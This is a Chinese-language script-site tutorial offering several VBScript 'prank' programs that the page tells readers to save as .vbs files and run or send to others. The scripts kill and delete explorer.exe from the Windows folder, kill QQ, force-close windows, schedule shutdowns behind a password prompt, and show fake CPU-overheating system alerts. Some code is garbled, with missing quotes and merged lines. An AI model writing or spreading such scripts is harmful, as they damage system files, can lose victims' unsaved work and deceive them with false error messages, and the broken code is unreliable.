vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等

发布时间:2020-03-08编辑:脚本学堂
vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等,喜欢恶搞的朋友可以看看。将以下代码分别保存为xxx.vbs,然后双击运行即可。恶搞有助身心健康,但请适度,哈哈。

1、删除explorer.exe,导致桌面没有显示,还好脚本事先帮你备份了,为同目录下的explorer.Data。
 

复制代码 代码示例:
set ws=CreateObject("Wscript.shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%explorer.exe %windir%explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%explorer.exe

2、关机密码及电脑故障提醒:
 

复制代码 代码示例:
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密码验证成功,enjoy the best!"
exit do
else
msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57
ws.popup"((^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:"
wscript.sleep 1000*45
loop

3、关机
 

复制代码 代码示例:
set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 332"

4、关闭当前打开的多个窗口
 

复制代码 代码示例:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
next

5、输入内容,然后恶搞:
 

复制代码 代码示例:

dim a,b,c,s
Set fs=CreateObject("Scripting.FileSystemObject")
name = WScript.ScriptName
fullname = WScript.ScriptFullName
path = Replace(fullname,name,"")
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:")
If MyVar=vbYes Then
ElseIf MyVar=vbNo Then
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
End If
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好")
If b = ""Then
WScript.Quit
End If
wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02")
If c = ""Then
WScript.Quit
End If
wscript.sleep 1000age = abs(datediff("d",date,c))
wscript.sleep 1
current = now()
h=datepart("h",current)
n=datepart("n",current)
WScript.Sleep 1000
s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:")
if s=2 then
end if
Set auto=fs.CreateTextFile("C:Documents and SettingsAll Users桌面"&a&"的秘密.vbs",true)
auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:"""
auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""

Set auto=fs.CreateTextFile("C:Documents and SettingsAll Users桌面祝"&a&"生日快乐.TXT",true)
auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."
auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"
auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"